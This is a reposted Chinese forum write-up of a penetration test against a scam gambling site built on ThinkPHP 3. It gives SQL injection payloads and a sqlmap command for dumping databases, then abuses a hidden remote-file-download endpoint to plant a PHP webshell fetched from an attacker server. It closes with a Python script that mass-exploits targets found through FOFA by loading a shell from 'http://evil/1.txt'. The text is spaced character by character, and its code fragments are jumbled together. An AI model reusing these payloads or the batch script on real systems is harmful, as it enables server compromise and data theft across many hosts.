搜索

[18962] 2021-01-28_“杀猪盘”渗透实战

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-01-28_“杀猪盘”渗透实战 “ 杀 猪 盘 ” 渗 透 实 战 J a y u s   艺   I D L a b   2 0 2 1 - 0 1 - 2 8 某 天 正 在 翻 阅 学 习 资 料 时 ， 突 然 收 到 一 条 短 信 ， 用 火 星 文 写 着 & % ￥ # @ 注 册 送 8 8 8 ！ ！ & % ￥ # @ 业 界 最 高 反 水 火 爆 全 网 ： 戳 X X X . c o m 我 立 刻 放 下 学 习 资 料 ， 很 快 啊 。 打 开 电 脑 访 问 首 页 ， 标 题 上 来 就 是 腾 讯 p c ， 一 般 这 种 杀 猪 盘 都 喜 欢 用 这 些 大 企 业 的 名 号 来 忽 悠 ， 虽 然 腾 讯 确 实 忽 悠 . . . . . . 在 u r l 后 随 便 打 几 个 字 符 ， 出 现 了 报 错 ， 可 以 看 出 应 该 是 t h i n k p h p 魔 改 来 的 。 直 接 搜 索 公 开 的 t h i n k p h p 3 的 p a y l o a d 打 一 波 ： 一 波 打 完 都 不 太 行 ， 开 始 翻 网 站 有 哪 些 功 能 。 在 充 值 界 面 看 到 有 三 种 支 付 方 式 ： i n d e x . p h p ? i d [ w h e r e ] = 1   a n d   1 = u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , ( s e l e c t   p a s s w o r d   f r o m   u s e r s   l i m i t   1 ) , 0 x 7 e ) , 1 ) % 2 3 i n d e x . p h p ? u s e r n a m e [ 0 ] = e x p & u s e r n a m e [ 1 ] = = 1 % 2 0 a n d % 2 0 u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , u s e r ( ) , 0 x 7 e ) , 1 ) i n d e x . p h p ? i d [ 0 ] = b i n d & i d [ 1 ] = 0   a n d   u p d a t e x m l ( 1 , c o n c a t ( 0 x 7 e , u s e r ( ) , 0 x 7 e ) , 1 ) & p a s s w o r d = 1
既 然 是 腾 讯 p c ， 那 就 点 一 个 支 付 宝 吧 看 到 有 传 参 ， 先 加 个 单 引 号 双 引 号 试 试 ， 结 果 幸 福 来 得 那 么 突 然 构 造 p a y l o a d 直 接 上 s q l m a p 也 是 可 以 的 ： / / 获 取 数 据 库 名 ： ? i d = 1 "   o r   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   d a t a b a s e ( ) ) ) )   =   " 1 / / 获 取 表 名 ： ? i d = 1 "   o r   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) ) ) )   =   " 1 / / 获 取 a d m i n s 表 的 列 名 ： ? i d = 1 "   o r   e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = 0 x 6 1 6 4 6 D 6 9 6 E 7 3 ) ) )   =   " 1 注 ： 0 x 6 1 6 4 6 D 6 9 6 E 7 3 为 a d m i n s 的 十 六 进 制 ， m y s q l 在 执 行 语 句 时 会 自 动 解 十 六 进 制 ， 在 引 号 不 方 便 用 时 ， 可 以 使 用 十 六 进 制 绕 过 。 这 里 报 错 显 示 的 长 度 是 有 限 制 的 ， 获 取 不 全 ， 可 以 通 过 s u b s t r 的 方 式 ， 每 次 截 取 一 段 ， 最 后 再 拼 接 。 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / H o m e / C h a n g e / A l i p a y I n f o / ? i d = 1 "   - p   i d   - - r a n d o m - a g e n t   - - t e c h n i q u e = E   - - c o o k i e = " P H P S E S S I D = 1 1 1 1 1 "   - - d b s
在 从 a d m i n s 表 中 拿 u s e r n a m e 和 p a s s w o r d 时 ： p a y l o a d ： 突 然 不 报 错 了 ， 但 是 输 入 ： 就 会 报 错 打 印 出 1 2 3 ， 还 以 为 是 出 现 了 幻 觉 了 。 后 来 不 得 已 用 s q l m a p 跑 了 一 下 ， 发 现 原 来 是 因 为 a d m i n s 表 是 空 的 。 实 际 的 用 户 名 密 码 不 在 这 个 表 。 接 着 在 d u m p   u s e r 表 时 看 到 了 a d m i n 用 户 ， 结 果 在 前 台 登 录 发 现 是 客 服 。 现 在 客 服 都 这 么 奔 放 了 ： 目 前 ， 虽 然 可 以 注 入 拿 数 据 了 ， 但 是 我 们 的 最 终 目 的 是 获 取 s h e l l ， 在 网 站 发 现 有 图 像 上 传 功 能 ， 但 是 上 传 之 后 并 不 知 道 图 片 的 路 径 ， 访 问 图 片 会 直 接 下 载 ， 不 能 解 析 。 所 以 还 是 需 要 找 一 下 网 站 后 台 ， 一 般 后 台 比 较 容 易 找 到 上 传 ， 编 辑 等 容 易 拿 s h e l l 的 功 能 点 。 首 先 爆 破 一 下 网 站 的 后 台 ： 不 存 在 时 ， 网 站 不 返 回 4 0 4 ， 而 是 直 接 返 回 2 0 0 ， 显 示 首 页 ， 导 致 全 是 误 报 。 可 以 使 用 7 k b s c a n ， 设 置 只 匹 配 3 0 2 和 4 0 x 的 响 应 ： ? i d = 1 "   o r e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   u s e r n a m e , p a s s w o r d   f r o m a d m i n s   l i m i t   0 , 1 ) ) )   =   " 1 ? i d = 1 "   o r e x t r a c t v a l u e ( 0 x 0 a , c o n c a t ( 0 x 0 a , ( s e l e c t   1 2 3 ) ) )   =   " 1
找 到 了 后 台 地 址 为 / h o u t a i l o g i n 然 而 在 数 据 库 翻 找 了 半 天 也 没 找 到 a d m i n 的 用 户 密 码 在 哪 . . . ， 有 可 能 权 限 限 制 的 比 较 好 ， 当 前 s q l 用 户 拿 不 到 那 个 表 。 于 是 想 到 s q l 注 入 这 里 是 不 是 可 以 尝 试 一 下 直 接 拿 s h e l l ， 再 检 测 一 波 ， 发 现 还 真 存 在 s t a c k 注 入 ： 直 接 - - o s - s h e l l 没 有 成 功 ， 尝 试 了 几 遍 都 不 行 ， 应 该 不 是 网 络 问 题 ， 估 计 是 权 限 不 够 。 没 有 办 法 只 能 继 续 啃 了 ， 数 据 库 这 里 实 在 是 翻 不 到 后 台 密 码 。
只 能 再 从 网 站 其 他 功 能 入 手 ， 祭 出 目 录 扫 描 ， 扫 一 下 网 站 还 有 哪 些 目 录 ， 同 样 的 ， 所 有 目 录 都 是 2 0 0 ， 没 办 法 只 能 过 滤 掉 2 0 0 ， 找 找 有 没 有 因 为 参 数 错 误 而 4 0 4 的 目 录 ： 自 定 义 错 位 为 4 0 4   |   错 误 ， 幸 运 的 扫 描 出 一 个 隐 藏 功 能 ： p u t _ f i l e _ u r l 这 一 看 就 不 太 对 劲 ， 给 他 传 参 数
继 续 传 ： 这 几 个 功 能 加 起 来 ， 看 起 来 应 该 是 个 远 程 文 件 下 载 功 能 尝 试 一 下 ： 访 问 ： 这 不 就 直 接 g e t s h e l l 了 . . . . . . 在 v p s 上 写 一 个 p h p 一 句 话 木 马 ; p a y l o a d : h t t p : / / 1 . 1 . 1 . 1 / H o m e / i n d e x / p u t _ f i l e _ u r l / ? u r l = 1 2 3 & s a v e n a m e = 1 . p h p & p a t h = h t t p : / / 1 . 1 . 1 . 1 / 1 . p h p h t t p : / / 1 . 1 . 1 . 1 / H o m e / i n d e x / p u t _ f i l e _ u r l / ? u r l = h t t p : / / 1 . 1 . 1 . 1 / 1 . t x t & s a v e n a m e = 1 . p h p & p a t h =
网 站 管 理 员 防 范 意 识 还 是 很 强 的 ， 该 禁 的 函 数 都 禁 差 不 多 了 尝 试 用 蚁 剑 连 接 ： 果 然 没 办 法 执 行 命 令 使 用 蚁 剑 的 插 件 b y p a s s 一 下 ：
已 经 能 够 执 行 命 令 了 ， 用 户 权 限 为 w w w 权 限 。 直 接 i f c o n f i g 没 有 执 行 ， 可 以 / s b i n / i f c o n f i g 执 行 ， 查 看 一 下 i p
目 标 没 有 内 网 环 境 ， 应 该 就 是 一 台 云 主 机 ， 就 没 有 继 续 提 权 内 网 的 必 要 了 但 是 可 以 把 源 码 脱 下 来 ， 继 续 分 析 命 令 ： 在 p r o j e c t H o m e C o n t r o l l e r I n d e x C o n t r o l l e r . c l a s s . p h p 文 件 中 可 以 看 到 p u t f i l e u r l 函 数 就 是 将 远 程 文 件 直 接 下 载 到 本 地 ， 导 致 能 够 直 接 g e t s h e l l t a r   - z c v f   a r c h i v e _ n a m e . t a r . g z   d i r e c t o r y _ t o _ c o m p r e s s p u b l i c   f u n c t i o n   p u t _ f i l e _ u r l   ( $ u r l ,   $ s a v e n a m e , $ p a t h ) {         $ u r l   =   t r i m ( $ u r l ) ;         $ c u r l   =   c u r l _ i n i t ( ) ;         c u r l _ s e t o p t ( $ c u r l ,   C U R L O P T _ U R L ,   $ u r l ) ;         c u r l _ s e t o p t ( $ c u r l ,   C U R L O P T _ H E A D E R ,   0 ) ;         c u r l _ s e t o p t ( $ c u r l ,   C U R L O P T _ R E T U R N T R A N S F E R ,   1 ) ;         $ f i l e     =   c u r l _ e x e c ( $ c u r l ) ;         c u r l _ c l o s e ( $ c u r l ) ;         $ f i l e n a m e   =   $ p a t h   .   $ s a v e n a m e ;         $ w r i t e   =   @ f o p e n ( $ f i l e n a m e ,   ' w ' ) ;                 i f   ( $ w r i t e   = =   f a l s e )   {                                         r e t u r n   f a l s e ;         }         i f   ( f w r i t e ( $ w r i t e ,   $ f i l e )   = =   f a l s e )   {                                 r e t u r n   f a l s e ;        
在 p r o j e c t H o m e C o n t r o l l e r C h a n g e C o n t r o l l e r . c l a s s . p h p 目 录 下 ， 直 接 将 参 数 拼 接 到 s q l 语 句 中 ， 导 致 产 生 了 s q l 注 入 漏 洞 ， 同 样 的 漏 洞 还 有 很 多 ， 在 之 后 再 慢 慢 进 行 分 析 。 既 然 知 道 了 有 这 么 简 单 地 g e t s h e l l 的 方 法 ， 我 们 可 以 用 f o f a 来 批 量 尝 试 一 下 。 f o f a 搜 索 ： 这 里 有 一 个 小 工 具 可 以 使 用 一 下 ： 利 用 了 f o f a 的 一 个 c o o k i e 参 数 ， 扩 大 了 免 费 用 户 的 查 看 数 量                 r e t u r n   f a l s e ;                 }         i f   ( f c l o s e ( $ w r i t e )   = =   f a l s e )   {                 r e t u r n   f a l s e ;                 } } i m p o r t   r e q u e s t s i m p o r t   t i m e u r l s   =   o p e n ( " u r l s - t p 3 . t x t " , ' r ' ) . r e a d l i n e s ( ) f o r   u r l   i n   u r l s :         u r l   =   u r l . s t r i p ( ) t r y :                 p r i n t ( " [ + ]   t e s t   o n   : " ,   u r l )                 t m p u r l   =   u r l   +   " / H o m e / i n d e x / p u t _ f i l e _ u r l ? u r l = h t t p : / / e v i l / 1 . t x t "         d a t a   =   { " s a v e n a m e " : " 4 0 4 . p h p " , " p a t h " : " " }         r e s   =   r e q u e s t s . p o s t ( u r l   =   t m p u r l , t i m e o u t   =   5 , v e r i f y   =   F a l s e , d a t a   =   d a t a )         i f   r e s . s t a t u s _ c o d e   = =   2 0 0 :                 p r i n t ( " 2 0 0   o k " )                 p r i n t ( t m p u r l , " t "   , r e s . s t a t u s _ c o d e )                 p r i n t ( )         e l s e :                 p r i n t ( " n o t   2 0 0   " ) e x c e p t :         p r i n t ( " . " ) h t t p s : / / g i t h u b . c o m / j a y u s 0 8 2 1 / f o f a - j / b l o b / m a i n / f o f a - j . p y
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理